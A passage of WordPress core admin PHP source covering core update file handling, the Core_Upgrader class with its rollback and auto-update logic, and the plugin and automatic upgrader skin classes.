	 * $development_build controls us overwriting bundled themes and plugins when a non-stable release is being updated.
	 */
	if ( ! is_wp_error( $result )
		&& ( ! defined( 'CORE_UPGRADE_SKIP_NEW_BUNDLED' ) || ! CORE_UPGRADE_SKIP_NEW_BUNDLED )
	) {
		foreach ( (array) $_new_bundled_files as $file => $introduced_version ) {
			// If a $development_build or if $introduced version is greater than what the site was previously running.
			if ( $development_build || version_compare( $introduced_version, $old_wp_version, '>' ) ) {
				$directory = ( '/' === $file[ strlen( $file ) - 1 ] );

				list( $type, $filename ) = explode( '/', $file, 2 );

				// Check to see if the bundled items exist before attempting to copy them.
				if ( ! $wp_filesystem->exists( $from . $distro . 'wp-content/' . $file ) ) {
					continue;
				}

				if ( 'plugins' === $type ) {
					$dest = $wp_filesystem->wp_plugins_dir();
				} elseif ( 'themes' === $type ) {
					// Back-compat, ::wp_themes_dir() did not return trailingslash'd pre-3.2.
					$dest = trailingslashit( $wp_filesystem->wp_themes_dir() );
				} else {
					continue;
				}

				if ( ! $directory ) {
					if ( ! $development_build && $wp_filesystem->exists( $dest . $filename ) ) {
						continue;
					}

					if ( ! $wp_filesystem->copy( $from . $distro . 'wp-content/' . $file, $dest . $filename, FS_CHMOD_FILE ) ) {
						$result = new WP_Error( "copy_failed_for_new_bundled_$type", __( 'Could not copy file.' ), $dest . $filename );
					}
				} else {
					if ( ! $development_build && $wp_filesystem->is_dir( $dest . $filename ) ) {
						continue;
					}

					$wp_filesystem->mkdir( $dest . $filename, FS_CHMOD_DIR );
					$_result = copy_dir( $from . $distro . 'wp-content/' . $file, $dest . $filename );

					/*
					 * If an error occurs partway through this final step,
					 * keep the error flowing through, but keep the process going.
					 */
					if ( is_wp_error( $_result ) ) {
						if ( ! is_wp_error( $result ) ) {
							$result = new WP_Error();
						}

						$result->add(
							$_result->get_error_code() . "_$type",
							$_result->get_error_message(),
							substr( $_result->get_error_data(), strlen( $dest ) )
						);
					}
				}
			}
		} // End foreach.
	}

	// Handle $result error from the above blocks.
	if ( is_wp_error( $result ) ) {
		$wp_filesystem->delete( $from, true );

		return $result;
	}

	// Remove old files.
	foreach ( $_old_files as $old_file ) {
		$old_file = $to . $old_file;

		if ( ! $wp_filesystem->exists( $old_file ) ) {
			continue;
		}

		// If the file isn't deleted, try writing an empty string to the file instead.
		if ( ! $wp_filesystem->delete( $old_file, true ) && $wp_filesystem->is_file( $old_file ) ) {
			$wp_filesystem->put_contents( $old_file, '' );
		}
	}

	// Remove any Genericons example.html's from the filesystem.
	_upgrade_422_remove_genericons();

	// Deactivate the REST API plugin if its version is 2.0 Beta 4 or lower.
	_upgrade_440_force_deactivate_incompatible_plugins();

	// Deactivate incompatible plugins.
	_upgrade_core_deactivate_incompatible_plugins();

	// Upgrade DB with separate request.
	/** This filter is documented in wp-admin/includes/update-core.php */
	apply_filters( 'update_feedback', __( 'Upgrading database&#8230;' ) );

	$db_upgrade_url = admin_url( 'upgrade.php?step=upgrade_db' );
	wp_remote_post( $db_upgrade_url, array( 'timeout' => 60 ) );

	// Clear the cache to prevent an update_option() from saving a stale db_version to the cache.
	wp_cache_flush();
	// Not all cache back ends listen to 'flush'.
	wp_cache_delete( 'alloptions', 'options' );

	// Remove working directory.
	$wp_filesystem->delete( $from, true );

	// Force refresh of update information.
	if ( function_exists( 'delete_site_transient' ) ) {
		delete_site_transient( 'update_core' );
	} else {
		delete_option( 'update_core' );
	}

	/**
	 * Fires after WordPress core has been successfully updated.
	 *
	 * @since 3.3.0
	 *
	 * @param string $wp_version The current WordPress version.
	 */
	do_action( '_core_updated_successfully', $wp_version );

	// Clear the option that blocks auto-updates after failures, now that we've been successful.
	if ( function_exists( 'delete_site_option' ) ) {
		delete_site_option( 'auto_core_update_failed' );
	}

	return $wp_version;
}

/**
 * Preloads old Requests classes and interfaces.
 *
 * This function preloads the old Requests code into memory before the
 * upgrade process deletes the files. Why? Requests code is loaded into
 * memory via an autoloader, meaning when a class or interface is needed
 * If a request is in process, Requests could attempt to access code. If
 * the file is not there, a fatal error could occur. If the file was
 * replaced, the new code is not compatible with the old, resulting in
 * a fatal error. Preloading ensures the code is in memory before the
 * code is updated.
 *
 * @since 6.2.0
 *
 * @global array              $_old_requests_files Requests files to be preloaded.
 * @global WP_Filesystem_Base $wp_filesystem       WordPress filesystem subclass.
 * @global string             $wp_version          The WordPress version string.
 *
 * @param string $to Path to old WordPress installation.
 */
function _preload_old_requests_classes_and_interfaces( $to ) {
	global $_old_requests_files, $wp_filesystem, $wp_version;

	/*
	 * Requests was introduced in WordPress 4.6.
	 *
	 * Skip preloading if the website was previously using
	 * an earlier version of WordPress.
	 */
	if ( version_compare( $wp_version, '4.6', '<' ) ) {
		return;
	}

	if ( ! defined( 'REQUESTS_SILENCE_PSR0_DEPRECATIONS' ) ) {
		define( 'REQUESTS_SILENCE_PSR0_DEPRECATIONS', true );
	}

	foreach ( $_old_requests_files as $name => $file ) {
		// Skip files that aren't interfaces or classes.
		if ( is_int( $name ) ) {
			continue;
		}

		// Skip if it's already loaded.
		if ( class_exists( $name ) || interface_exists( $name ) ) {
			continue;
		}

		// Skip if the file is missing.
		if ( ! $wp_filesystem->is_file( $to . $file ) ) {
			continue;
		}

		require_once $to . $file;
	}
}

/**
 * Redirect to the About WordPress page after a successful upgrade.
 *
 * This function is only needed when the existing installation is older than 3.4.0.
 *
 * @since 3.3.0
 *
 * @global string $wp_version The WordPress version string.
 * @global string $pagenow    The filename of the current screen.
 * @global string $action
 *
 * @param string $new_version
 */
function _redirect_to_about_wordpress( $new_version ) {
	global $wp_version, $pagenow, $action;

	if ( version_compare( $wp_version, '3.4-RC1', '>=' ) ) {
		return;
	}

	// Ensure we only run this on the update-core.php page. The Core_Upgrader may be used in other contexts.
	if ( 'update-core.php' !== $pagenow ) {
		return;
	}

	if ( 'do-core-upgrade' !== $action && 'do-core-reinstall' !== $action ) {
		return;
	}

	// Load the updated default text localization domain for new strings.
	load_default_textdomain();

	// See do_core_upgrade().
	show_message( __( 'WordPress updated successfully.' ) );

	// self_admin_url() won't exist when upgrading from <= 3.0, so relative URLs are intentional.
	show_message(
		'<span class="hide-if-no-js">' . sprintf(
			/* translators: 1: WordPress version, 2: URL to About screen. */
			__( 'Welcome to WordPress %1$s. You will be redirected to the About WordPress screen. If not, click <a href="%2$s">here</a>.' ),
			$new_version,
			'about.php?updated'
		) . '</span>'
	);
	show_message(
		'<span class="hide-if-js">' . sprintf(
			/* translators: 1: WordPress version, 2: URL to About screen. */
			__( 'Welcome to WordPress %1$s. <a href="%2$s">Learn more</a>.' ),
			$new_version,
			'about.php?updated'
		) . '</span>'
	);
	echo '</div>';
	?>
<script type="text/javascript">
window.location = 'about.php?updated';
</script>
	<?php

	// Include admin-footer.php and exit.
	require_once ABSPATH . 'wp-admin/admin-footer.php';
	exit;
}

/**
 * Cleans up Genericons example files.
 *
 * @since 4.2.2
 *
 * @global array              $wp_theme_directories
 * @global WP_Filesystem_Base $wp_filesystem
 */
function _upgrade_422_remove_genericons() {
	global $wp_theme_directories, $wp_filesystem;

	// A list of the affected files using the filesystem absolute paths.
	$affected_files = array();

	// Themes.
	foreach ( $wp_theme_directories as $directory ) {
		$affected_theme_files = _upgrade_422_find_genericons_files_in_folder( $directory );
		$affected_files       = array_merge( $affected_files, $affected_theme_files );
	}

	// Plugins.
	$affected_plugin_files = _upgrade_422_find_genericons_files_in_folder( WP_PLUGIN_DIR );
	$affected_files        = array_merge( $affected_files, $affected_plugin_files );

	foreach ( $affected_files as $file ) {
		$gen_dir = $wp_filesystem->find_folder( trailingslashit( dirname( $file ) ) );

		if ( empty( $gen_dir ) ) {
			continue;
		}

		// The path when the file is accessed via WP_Filesystem may differ in the case of FTP.
		$remote_file = $gen_dir . basename( $file );

		if ( ! $wp_filesystem->exists( $remote_file ) ) {
			continue;
		}

		if ( ! $wp_filesystem->delete( $remote_file, false, 'f' ) ) {
			$wp_filesystem->put_contents( $remote_file, '' );
		}
	}
}

/**
 * Recursively find Genericons example files in a given folder.
 *
 * @ignore
 * @since 4.2.2
 *
 * @param string $directory Directory path. Expects trailingslashed.
 * @return array
 */
function _upgrade_422_find_genericons_files_in_folder( $directory ) {
	$directory = trailingslashit( $directory );
	$files     = array();

	if ( file_exists( "{$directory}example.html" )
		/*
		 * Note: str_contains() is not used here, as this file is included
		 * when updating from older WordPress versions, in which case
		 * the polyfills from wp-includes/compat.php may not be available.
		 */
		&& false !== strpos( file_get_contents( "{$directory}example.html" ), '<title>Genericons</title>' )
	) {
		$files[] = "{$directory}example.html";
	}

	$dirs = glob( $directory . '*', GLOB_ONLYDIR );
	$dirs = array_filter(
		$dirs,
		static function ( $dir ) {
			/*
			 * Skip any node_modules directories.
			 *
			 * Note: str_contains() is not used here, as this file is included
			 * when updating from older WordPress versions, in which case
			 * the polyfills from wp-includes/compat.php may not be available.
			 */
			return false === strpos( $dir, 'node_modules' );
		}
	);

	if ( $dirs ) {
		foreach ( $dirs as $dir ) {
			$files = array_merge( $files, _upgrade_422_find_genericons_files_in_folder( $dir ) );
		}
	}

	return $files;
}

/**
 * @ignore
 * @since 4.4.0
 */
function _upgrade_440_force_deactivate_incompatible_plugins() {
	if ( defined( 'REST_API_VERSION' ) && version_compare( REST_API_VERSION, '2.0-beta4', '<=' ) ) {
		deactivate_plugins( array( 'rest-api/plugin.php' ), true );
	}
}

/**
 * @access private
 * @ignore
 * @since 5.8.0
 * @since 5.9.0 The minimum compatible version of Gutenberg is 11.9.
 * @since 6.1.1 The minimum compatible version of Gutenberg is 14.1.
 * @since 6.4.0 The minimum compatible version of Gutenberg is 16.5.
 * @since 6.5.0 The minimum compatible version of Gutenberg is 17.6.
 */
function _upgrade_core_deactivate_incompatible_plugins() {
	if ( defined( 'GUTENBERG_VERSION' ) && version_compare( GUTENBERG_VERSION, '17.6', '<' ) ) {
		$deactivated_gutenberg['gutenberg'] = array(
			'plugin_name'         => 'Gutenberg',
			'version_deactivated' => GUTENBERG_VERSION,
			'version_compatible'  => '17.6',
		);
		if ( is_plugin_active_for_network( 'gutenberg/gutenberg.php' ) ) {
			$deactivated_plugins = get_site_option( 'wp_force_deactivated_plugins', array() );
			$deactivated_plugins = array_merge( $deactivated_plugins, $deactivated_gutenberg );
			update_site_option( 'wp_force_deactivated_plugins', $deactivated_plugins );
		} else {
			$deactivated_plugins = get_option( 'wp_force_deactivated_plugins', array() );
			$deactivated_plugins = array_merge( $deactivated_plugins, $deactivated_gutenberg );
			update_option( 'wp_force_deactivated_plugins', $deactivated_plugins );
		}
		deactivate_plugins( array( 'gutenberg/gutenberg.php' ), true );
	}
}
<?php
/**
 * Upgrade API: Core_Upgrader class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Core class used for updating core.
 *
 * It allows for WordPress to upgrade itself in combination with
 * the wp-admin/includes/update-core.php file.
 *
 * @since 2.8.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader.php.
 *
 * @see WP_Upgrader
 */
class Core_Upgrader extends WP_Upgrader {

	/**
	 * Initializes the upgrade strings.
	 *
	 * @since 2.8.0
	 */
	public function upgrade_strings() {
		$this->strings['up_to_date'] = __( 'WordPress is at the latest version.' );
		$this->strings['locked']     = __( 'Another update is currently in progress.' );
		$this->strings['no_package'] = __( 'Update package not available.' );
		/* translators: %s: Package URL. */
		$this->strings['downloading_package']   = sprintf( __( 'Downloading update from %s&#8230;' ), '<span class="code pre">%s</span>' );
		$this->strings['unpack_package']        = __( 'Unpacking the update&#8230;' );
		$this->strings['copy_failed']           = __( 'Could not copy files.' );
		$this->strings['copy_failed_space']     = __( 'Could not copy files. You may have run out of disk space.' );
		$this->strings['start_rollback']        = __( 'Attempting to restore the previous version.' );
		$this->strings['rollback_was_required'] = __( 'Due to an error during updating, WordPress has been restored to your previous version.' );
	}

	/**
	 * Upgrades WordPress core.
	 *
	 * @since 2.8.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem                WordPress filesystem subclass.
	 * @global callable           $_wp_filesystem_direct_method
	 *
	 * @param object $current Response object for whether WordPress is current.
	 * @param array  $args {
	 *     Optional. Arguments for upgrading WordPress core. Default empty array.
	 *
	 *     @type bool $pre_check_md5    Whether to check the file checksums before
	 *                                  attempting the upgrade. Default true.
	 *     @type bool $attempt_rollback Whether to attempt to rollback the chances if
	 *                                  there is a problem. Default false.
	 *     @type bool $do_rollback      Whether to perform this "upgrade" as a rollback.
	 *                                  Default false.
	 * }
	 * @return string|false|WP_Error New WordPress version on success, false or WP_Error on failure.
	 */
	public function upgrade( $current, $args = array() ) {
		global $wp_filesystem;

		require ABSPATH . WPINC . '/version.php'; // $wp_version;

		$start_time = time();

		$defaults    = array(
			'pre_check_md5'                => true,
			'attempt_rollback'             => false,
			'do_rollback'                  => false,
			'allow_relaxed_file_ownership' => false,
		);
		$parsed_args = wp_parse_args( $args, $defaults );

		$this->init();
		$this->upgrade_strings();

		// Is an update available?
		if ( ! isset( $current->response ) || 'latest' === $current->response ) {
			return new WP_Error( 'up_to_date', $this->strings['up_to_date'] );
		}

		$res = $this->fs_connect( array( ABSPATH, WP_CONTENT_DIR ), $parsed_args['allow_relaxed_file_ownership'] );
		if ( ! $res || is_wp_error( $res ) ) {
			return $res;
		}

		$wp_dir = trailingslashit( $wp_filesystem->abspath() );

		$partial = true;
		if ( $parsed_args['do_rollback'] ) {
			$partial = false;
		} elseif ( $parsed_args['pre_check_md5'] && ! $this->check_files() ) {
			$partial = false;
		}

		/*
		 * If partial update is returned from the API, use that, unless we're doing
		 * a reinstallation. If we cross the new_bundled version number, then use
		 * the new_bundled zip. Don't though if the constant is set to skip bundled items.
		 * If the API returns a no_content zip, go with it. Finally, default to the full zip.
		 */
		if ( $parsed_args['do_rollback'] && $current->packages->rollback ) {
			$to_download = 'rollback';
		} elseif ( $current->packages->partial && 'reinstall' !== $current->response && $wp_version === $current->partial_version && $partial ) {
			$to_download = 'partial';
		} elseif ( $current->packages->new_bundled && version_compare( $wp_version, $current->new_bundled, '<' )
			&& ( ! defined( 'CORE_UPGRADE_SKIP_NEW_BUNDLED' ) || ! CORE_UPGRADE_SKIP_NEW_BUNDLED ) ) {
			$to_download = 'new_bundled';
		} elseif ( $current->packages->no_content ) {
			$to_download = 'no_content';
		} else {
			$to_download = 'full';
		}

		// Lock to prevent multiple Core Updates occurring.
		$lock = WP_Upgrader::create_lock( 'core_updater', 15 * MINUTE_IN_SECONDS );
		if ( ! $lock ) {
			return new WP_Error( 'locked', $this->strings['locked'] );
		}

		$download = $this->download_package( $current->packages->$to_download, true );

		/*
		 * Allow for signature soft-fail.
		 * WARNING: This may be removed in the future.
		 */
		if ( is_wp_error( $download ) && $download->get_error_data( 'softfail-filename' ) ) {
			// Output the failure error as a normal feedback, and not as an error:
			/** This filter is documented in wp-admin/includes/update-core.php */
			apply_filters( 'update_feedback', $download->get_error_message() );

			// Report this failure back to WordPress.org for debugging purposes.
			wp_version_check(
				array(
					'signature_failure_code' => $download->get_error_code(),
					'signature_failure_data' => $download->get_error_data(),
				)
			);

			// Pretend this error didn't happen.
			$download = $download->get_error_data( 'softfail-filename' );
		}

		if ( is_wp_error( $download ) ) {
			WP_Upgrader::release_lock( 'core_updater' );
			return $download;
		}

		$working_dir = $this->unpack_package( $download );
		if ( is_wp_error( $working_dir ) ) {
			WP_Upgrader::release_lock( 'core_updater' );
			return $working_dir;
		}

		// Copy update-core.php from the new version into place.
		if ( ! $wp_filesystem->copy( $working_dir . '/wordpress/wp-admin/includes/update-core.php', $wp_dir . 'wp-admin/includes/update-core.php', true ) ) {
			$wp_filesystem->delete( $working_dir, true );
			WP_Upgrader::release_lock( 'core_updater' );
			return new WP_Error( 'copy_failed_for_update_core_file', __( 'The update cannot be installed because some files could not be copied. This is usually due to inconsistent file permissions.' ), 'wp-admin/includes/update-core.php' );
		}
		$wp_filesystem->chmod( $wp_dir . 'wp-admin/includes/update-core.php', FS_CHMOD_FILE );

		wp_opcache_invalidate( ABSPATH . 'wp-admin/includes/update-core.php' );
		require_once ABSPATH . 'wp-admin/includes/update-core.php';

		if ( ! function_exists( 'update_core' ) ) {
			WP_Upgrader::release_lock( 'core_updater' );
			return new WP_Error( 'copy_failed_space', $this->strings['copy_failed_space'] );
		}

		$result = update_core( $working_dir, $wp_dir );

		// In the event of an issue, we may be able to roll back.
		if ( $parsed_args['attempt_rollback'] && $current->packages->rollback && ! $parsed_args['do_rollback'] ) {
			$try_rollback = false;
			if ( is_wp_error( $result ) ) {
				$error_code = $result->get_error_code();
				/*
				 * Not all errors are equal. These codes are critical: copy_failed__copy_dir,
				 * mkdir_failed__copy_dir, copy_failed__copy_dir_retry, and disk_full.
				 * do_rollback allows for update_core() to trigger a rollback if needed.
				 */
				if ( str_contains( $error_code, 'do_rollback' ) ) {
					$try_rollback = true;
				} elseif ( str_contains( $error_code, '__copy_dir' ) ) {
					$try_rollback = true;
				} elseif ( 'disk_full' === $error_code ) {
					$try_rollback = true;
				}
			}

			if ( $try_rollback ) {
				/** This filter is documented in wp-admin/includes/update-core.php */
				apply_filters( 'update_feedback', $result );

				/** This filter is documented in wp-admin/includes/update-core.php */
				apply_filters( 'update_feedback', $this->strings['start_rollback'] );

				$rollback_result = $this->upgrade( $current, array_merge( $parsed_args, array( 'do_rollback' => true ) ) );

				$original_result = $result;
				$result          = new WP_Error(
					'rollback_was_required',
					$this->strings['rollback_was_required'],
					(object) array(
						'update'   => $original_result,
						'rollback' => $rollback_result,
					)
				);
			}
		}

		/** This action is documented in wp-admin/includes/class-wp-upgrader.php */
		do_action(
			'upgrader_process_complete',
			$this,
			array(
				'action' => 'update',
				'type'   => 'core',
			)
		);

		// Clear the current updates.
		delete_site_transient( 'update_core' );

		if ( ! $parsed_args['do_rollback'] ) {
			$stats = array(
				'update_type'      => $current->response,
				'success'          => true,
				'fs_method'        => $wp_filesystem->method,
				'fs_method_forced' => defined( 'FS_METHOD' ) || has_filter( 'filesystem_method' ),
				'fs_method_direct' => ! empty( $GLOBALS['_wp_filesystem_direct_method'] ) ? $GLOBALS['_wp_filesystem_direct_method'] : '',
				'time_taken'       => time() - $start_time,
				'reported'         => $wp_version,
				'attempted'        => $current->version,
			);

			if ( is_wp_error( $result ) ) {
				$stats['success'] = false;
				// Did a rollback occur?
				if ( ! empty( $try_rollback ) ) {
					$stats['error_code'] = $original_result->get_error_code();
					$stats['error_data'] = $original_result->get_error_data();
					// Was the rollback successful? If not, collect its error too.
					$stats['rollback'] = ! is_wp_error( $rollback_result );
					if ( is_wp_error( $rollback_result ) ) {
						$stats['rollback_code'] = $rollback_result->get_error_code();
						$stats['rollback_data'] = $rollback_result->get_error_data();
					}
				} else {
					$stats['error_code'] = $result->get_error_code();
					$stats['error_data'] = $result->get_error_data();
				}
			}

			wp_version_check( $stats );
		}

		WP_Upgrader::release_lock( 'core_updater' );

		return $result;
	}

	/**
	 * Determines if this WordPress Core version should update to an offered version or not.
	 *
	 * @since 3.7.0
	 *
	 * @param string $offered_ver The offered version, of the format x.y.z.
	 * @return bool True if we should update to the offered version, otherwise false.
	 */
	public static function should_update_to_version( $offered_ver ) {
		require ABSPATH . WPINC . '/version.php'; // $wp_version; // x.y.z

		$current_branch = implode( '.', array_slice( preg_split( '/[.-]/', $wp_version ), 0, 2 ) ); // x.y
		$new_branch     = implode( '.', array_slice( preg_split( '/[.-]/', $offered_ver ), 0, 2 ) ); // x.y

		$current_is_development_version = (bool) strpos( $wp_version, '-' );

		// Defaults:
		$upgrade_dev   = get_site_option( 'auto_update_core_dev', 'enabled' ) === 'enabled';
		$upgrade_minor = get_site_option( 'auto_update_core_minor', 'enabled' ) === 'enabled';
		$upgrade_major = get_site_option( 'auto_update_core_major', 'unset' ) === 'enabled';

		// WP_AUTO_UPDATE_CORE = true (all), 'beta', 'rc', 'development', 'branch-development', 'minor', false.
		if ( defined( 'WP_AUTO_UPDATE_CORE' ) ) {
			if ( false === WP_AUTO_UPDATE_CORE ) {
				// Defaults to turned off, unless a filter allows it.
				$upgrade_dev   = false;
				$upgrade_minor = false;
				$upgrade_major = false;
			} elseif ( true === WP_AUTO_UPDATE_CORE
				|| in_array( WP_AUTO_UPDATE_CORE, array( 'beta', 'rc', 'development', 'branch-development' ), true )
			) {
				// ALL updates for core.
				$upgrade_dev   = true;
				$upgrade_minor = true;
				$upgrade_major = true;
			} elseif ( 'minor' === WP_AUTO_UPDATE_CORE ) {
				// Only minor updates for core.
				$upgrade_dev   = false;
				$upgrade_minor = true;
				$upgrade_major = false;
			}
		}

		// 1: If we're already on that version, not much point in updating?
		if ( $offered_ver === $wp_version ) {
			return false;
		}

		// 2: If we're running a newer version, that's a nope.
		if ( version_compare( $wp_version, $offered_ver, '>' ) ) {
			return false;
		}

		$failure_data = get_site_option( 'auto_core_update_failed' );
		if ( $failure_data ) {
			// If this was a critical update failure, cannot update.
			if ( ! empty( $failure_data['critical'] ) ) {
				return false;
			}

			// Don't claim we can update on update-core.php if we have a non-critical failure logged.
			if ( $wp_version === $failure_data['current'] && str_contains( $offered_ver, '.1.next.minor' ) ) {
				return false;
			}

			/*
			 * Cannot update if we're retrying the same A to B update that caused a non-critical failure.
			 * Some non-critical failures do allow retries, like download_failed.
			 * 3.7.1 => 3.7.2 resulted in files_not_writable, if we are still on 3.7.1 and still trying to update to 3.7.2.
			 */
			if ( empty( $failure_data['retry'] ) && $wp_version === $failure_data['current'] && $offered_ver === $failure_data['attempted'] ) {
				return false;
			}
		}

		// 3: 3.7-alpha-25000 -> 3.7-alpha-25678 -> 3.7-beta1 -> 3.7-beta2.
		if ( $current_is_development_version ) {

			/**
			 * Filters whether to enable automatic core updates for development versions.
			 *
			 * @since 3.7.0
			 *
			 * @param bool $upgrade_dev Whether to enable automatic updates for
			 *                          development versions.
			 */
			if ( ! apply_filters( 'allow_dev_auto_core_updates', $upgrade_dev ) ) {
				return false;
			}
			// Else fall through to minor + major branches below.
		}

		// 4: Minor in-branch updates (3.7.0 -> 3.7.1 -> 3.7.2 -> 3.7.4).
		if ( $current_branch === $new_branch ) {

			/**
			 * Filters whether to enable minor automatic core updates.
			 *
			 * @since 3.7.0
			 *
			 * @param bool $upgrade_minor Whether to enable minor automatic core updates.
			 */
			return apply_filters( 'allow_minor_auto_core_updates', $upgrade_minor );
		}

		// 5: Major version updates (3.7.0 -> 3.8.0 -> 3.9.1).
		if ( version_compare( $new_branch, $current_branch, '>' ) ) {

			/**
			 * Filters whether to enable major automatic core updates.
			 *
			 * @since 3.7.0
			 *
			 * @param bool $upgrade_major Whether to enable major automatic core updates.
			 */
			return apply_filters( 'allow_major_auto_core_updates', $upgrade_major );
		}

		// If we're not sure, we don't want it.
		return false;
	}

	/**
	 * Compares the disk file checksums against the expected checksums.
	 *
	 * @since 3.7.0
	 *
	 * @global string $wp_version       The WordPress version string.
	 * @global string $wp_local_package Locale code of the package.
	 *
	 * @return bool True if the checksums match, otherwise false.
	 */
	public function check_files() {
		global $wp_version, $wp_local_package;

		$checksums = get_core_checksums( $wp_version, isset( $wp_local_package ) ? $wp_local_package : 'en_US' );

		if ( ! is_array( $checksums ) ) {
			return false;
		}

		foreach ( $checksums as $file => $checksum ) {
			// Skip files which get updated.
			if ( str_starts_with( $file, 'wp-content' ) ) {
				continue;
			}
			if ( ! file_exists( ABSPATH . $file ) || md5_file( ABSPATH . $file ) !== $checksum ) {
				return false;
			}
		}

		return true;
	}
}
<?php
/**
 * Upgrader API: Plugin_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Plugin Upgrader Skin for WordPress Plugin Upgrades.
 *
 * @since 2.8.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 *
 * @see WP_Upgrader_Skin
 */
class Plugin_Upgrader_Skin extends WP_Upgrader_Skin {

	/**
	 * Holds the plugin slug in the Plugin Directory.
	 *
	 * @since 2.8.0
	 *
	 * @var string
	 */
	public $plugin = '';

	/**
	 * Whether the plugin is active.
	 *
	 * @since 2.8.0
	 *
	 * @var bool
	 */
	public $plugin_active = false;

	/**
	 * Whether the plugin is active for the entire network.
	 *
	 * @since 2.8.0
	 *
	 * @var bool
	 */
	public $plugin_network_active = false;

	/**
	 * Constructor.
	 *
	 * Sets up the plugin upgrader skin.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args Optional. The plugin upgrader skin arguments to
	 *                    override default options. Default empty array.
	 */
	public function __construct( $args = array() ) {
		$defaults = array(
			'url'    => '',
			'plugin' => '',
			'nonce'  => '',
			'title'  => __( 'Update Plugin' ),
		);
		$args     = wp_parse_args( $args, $defaults );

		$this->plugin = $args['plugin'];

		$this->plugin_active         = is_plugin_active( $this->plugin );
		$this->plugin_network_active = is_plugin_active_for_network( $this->plugin );

		parent::__construct( $args );
	}

	/**
	 * Performs an action following a single plugin update.
	 *
	 * @since 2.8.0
	 */
	public function after() {
		$this->plugin = $this->upgrader->plugin_info();
		if ( ! empty( $this->plugin ) && ! is_wp_error( $this->result ) && $this->plugin_active ) {
			// Currently used only when JS is off for a single plugin update?
			printf(
				'<iframe title="%s" style="border:0;overflow:hidden" width="100%%" height="170" src="%s"></iframe>',
				esc_attr__( 'Update progress' ),
				wp_nonce_url( 'update.php?action=activate-plugin&networkwide=' . $this->plugin_network_active . '&plugin=' . urlencode( $this->plugin ), 'activate-plugin_' . $this->plugin )
			);
		}

		$this->decrement_update_count( 'plugin' );

		$update_actions = array(
			'activate_plugin' => sprintf(
				'<a href="%s" target="_parent">%s</a>',
				wp_nonce_url( 'plugins.php?action=activate&amp;plugin=' . urlencode( $this->plugin ), 'activate-plugin_' . $this->plugin ),
				__( 'Activate Plugin' )
			),
			'plugins_page'    => sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'plugins.php' ),
				__( 'Go to Plugins page' )
			),
		);

		if ( $this->plugin_active || ! $this->result || is_wp_error( $this->result ) || ! current_user_can( 'activate_plugin', $this->plugin ) ) {
			unset( $update_actions['activate_plugin'] );
		}

		/**
		 * Filters the list of action links available following a single plugin update.
		 *
		 * @since 2.7.0
		 *
		 * @param string[] $update_actions Array of plugin action links.
		 * @param string   $plugin         Path to the plugin file relative to the plugins directory.
		 */
		$update_actions = apply_filters( 'update_plugin_complete_actions', $update_actions, $this->plugin );

		if ( ! empty( $update_actions ) ) {
			$this->feedback( implode( ' | ', (array) $update_actions ) );
		}
	}
}
<?php
/**
 * Upgrader API: Automatic_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Upgrader Skin for Automatic WordPress Upgrades.
 *
 * This skin is designed to be used when no output is intended, all output
 * is captured and stored for the caller to process and log/email/discard.
 *
 * @since 3.7.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 *
 * @see Bulk_Upgrader_Skin
 */
class Automatic_Upgrader_Skin extends WP_Upgrader_Skin {
	protected $messages = array();

	/**
	 * Determines whether the upgrader needs FTP/SSH details in order to connect
	 * to the filesystem.
	 *
	 * @since 3.7.0
	 * @since 4.6.0 The `$context` parameter default changed from `false` to an empty string.
	 *
	 * @see request_filesystem_credentials()
	 *
	 * @param bool|WP_Error $error                        Optional. Whether the current request has failed to connect,
	 *                                                    or an error object. Default false.
	 * @param string        $context                      Optional. Full path to the directory that is tested
	 *                                                    for being writable. Default empty.
	 * @param bool          $allow_relaxed_file_ownership Optional. Whether to allow Group/World writable. Default false.
	 * @return bool True on success, false on failure.
	 */
	public function request_filesystem_credentials( $error = false, $context = '', $allow_relaxed_file_ownership = false ) {
		if ( $context ) {
			$this->options['context'] = $context;
		}
		/*
		 * TODO: Fix up request_filesystem_credentials(), or split it, to allow us to request a no-output version.
		 * This will output a credentials form in event of failure. We don't want that, so just hide with a buffer.
		 */
		ob_start();
		$result = parent::request_filesystem_credentials( $error, $context, $allow_relaxed_file_ownership );
		ob_end_clean();
		return $result;
	}

	/**
	 * Retrieves the upgrade messages.
	 *
	 * @since 3.7.0
	 *
	 * @return string[] Messages during an upgrade.
	 */
	public function get_upgrade_messages() {
		return $this->messages;
	}

	/**
	 * Stores a message about the upgrade.
	 *
	 * @since 3.7.0
	 * @since 5.9.0 Renamed `$data` to `$feedback` for PHP 8 named parameter support.
	 *
	 * @param string|array|WP_Error $feedback Message data.
	 * @param mixed                 ...$args  Optional text replacements.
	 */
	public function feedback( $feedback, ...$args ) {
		if ( is_wp_error( $feedback ) ) {
			$string = $feedback->get_error_message();
		} elseif ( is_array( $feedback ) ) {
			return;
		} else {
			$string = $feedback;
		}

		if ( ! empty( $this->upgrader->strings[ $string ] ) ) {
			$string = $this->upgrader->strings[ $string ];
		}

		if ( str_contains( $string, '%' ) ) {
			if ( ! empty( $args ) ) {
				$string = vsprintf( $string, $args );
			}
		}

		$string = trim( $string );

		// Only allow basic HTML in the messages, as it'll be used in emails/logs rather than direct browser output.
		$string = wp_kses(
			$string,
			array(
				'a'      => array(
					'href' => true,
				),
				'br'     => true,
				'em'     => true,
				'strong' => true,
			)
		);

		if ( empty( $string ) ) {
			return;
		}

		$this->messages[] = $string;
	}

	/**
	 * Creates a new output buffer.
	 *
	 * @since 3.7.0
	 */
	public function header() {
		ob_start();
	}

	/**
	 * Retrieves the buffered content, deletes the buffer, and processes the output.
	 *
	 * @since 3.7.0
	 */
	public function footer() {
		$output = ob_get_clean();
		if ( ! empty( $output ) ) {
			$this->feedback( $output );
		}
	}
}
<?php
/**
 * WordPress Administration Screen API.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Get the column headers for a screen
 *
 * @since 2.7.0
 *
 * @param string|WP_Screen $screen The screen you want the headers for
